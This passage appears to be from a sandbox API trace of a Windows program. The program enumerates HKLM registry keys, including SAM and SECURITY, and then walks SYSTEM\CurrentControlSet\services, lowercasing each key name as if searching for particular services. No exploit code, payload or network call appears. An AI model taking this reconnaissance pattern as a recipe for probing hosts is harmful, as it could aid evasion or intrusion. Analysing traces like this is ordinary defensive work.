lpName="BCD00000000") returned 0x0 [0236.276] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.276] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0236.276] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.276] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x21f1a48, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0236.276] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0236.276] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.276] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0236.276] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.276] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0236.276] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.276] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0236.276] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0236.276] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0236.276] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.276] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0236.276] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.276] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.276] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0236.276] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.276] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0236.276] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.276] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x21f1a48, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0236.276] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0236.276] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.276] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0236.276] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.276] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0236.276] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.276] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0236.276] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0236.276] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0236.277] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.277] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0236.277] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.277] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.277] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0236.277] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.277] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0236.277] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.277] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0236.277] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0236.277] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.277] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0236.277] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.277] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0236.277] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.277] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0236.277] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0236.277] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x21f1d18, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0236.277] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.277] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0236.277] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.277] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.277] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0236.277] RegCloseKey (hKey=0x80000002) returned 0x0 [0236.277] RegEnumKeyW (in: hKey=0x150, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0236.277] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.277] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0236.277] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.277] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x21f1a48, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0236.278] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0236.278] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.278] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0236.278] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.278] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0236.278] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.278] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0236.278] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0236.278] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x21f1d18, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0236.278] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.278] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0236.278] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.278] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.278] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0236.278] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.278] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0236.278] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.278] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x21f1a48, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0236.278] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0236.278] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.278] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0236.278] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.278] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0236.278] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.278] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0236.278] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0236.278] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x21f1d18, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0236.278] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.278] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0236.278] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.278] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.278] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0236.278] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.279] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0236.279] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.279] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x21f1a48, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0236.279] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0236.279] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.279] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0236.279] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.279] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0236.279] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.279] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0236.279] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0236.279] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x21f1d18, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0236.279] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.279] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0236.279] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.279] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.279] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0236.279] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.279] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0236.279] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.279] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0236.279] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0236.279] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.279] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0236.279] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.279] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0236.279] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.279] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0236.279] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0236.279] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x21f1d18, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0236.279] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.279] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0236.280] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.280] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.280] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0236.280] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.280] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0236.280] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.280] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x21f1a48, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0236.280] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0236.280] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.280] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0236.280] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.280] RegOpenKeyExW (in: hKey=0x150, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x154) returned 0x0 [0236.280] RegCloseKey (hKey=0x150) returned 0x0 [0236.280] RegEnumKeyW (in: hKey=0x154, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0236.280] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.280] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0236.280] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0236.280] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x21f1d18, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0236.280] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.280] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0236.280] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.280] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.280] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0236.280] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.280] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0236.280] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.280] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x21f1a48, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0236.280] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0236.280] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.280] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0236.281] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.281] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0236.281] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.281] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0236.281] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0236.281] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x21f1d18, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0236.281] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.281] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0236.281] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.281] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.281] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0236.281] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.281] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0236.281] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.281] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0236.281] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0236.281] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.281] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0236.281] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.281] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0236.281] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.281] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0236.281] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0236.281] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0236.281] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.281] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0236.281] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.281] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.281] RegOpenKeyExW (in: hKey=0x154, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0236.281] RegCloseKey (hKey=0x154) returned 0x0 [0236.282] RegEnumKeyW (in: hKey=0x150, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0236.282] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.282] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 